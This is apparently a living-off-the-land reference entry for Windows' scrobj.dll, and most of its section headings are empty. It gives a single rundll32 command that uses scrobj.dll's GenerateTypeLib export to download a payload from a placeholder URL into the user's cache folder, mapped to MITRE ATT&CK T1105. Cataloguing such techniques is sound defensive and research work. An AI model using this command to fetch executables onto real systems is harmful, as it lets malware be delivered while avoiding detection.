.. /Scrobj.dll
Star

Windows Script Component Runtime


Paths:

Resources:
Acknowledgements:

Detection:

Download

Once executed, rundll32.exe will download the file at the URL in the command to %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\<random>\payload[1].exe.
rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib http://x.x.x.x/payload.exe
Usecase: Download file from remote location.
Privileges required: User
OS: Windows 10, Windows 11
MITRE ATT&CK®: T1105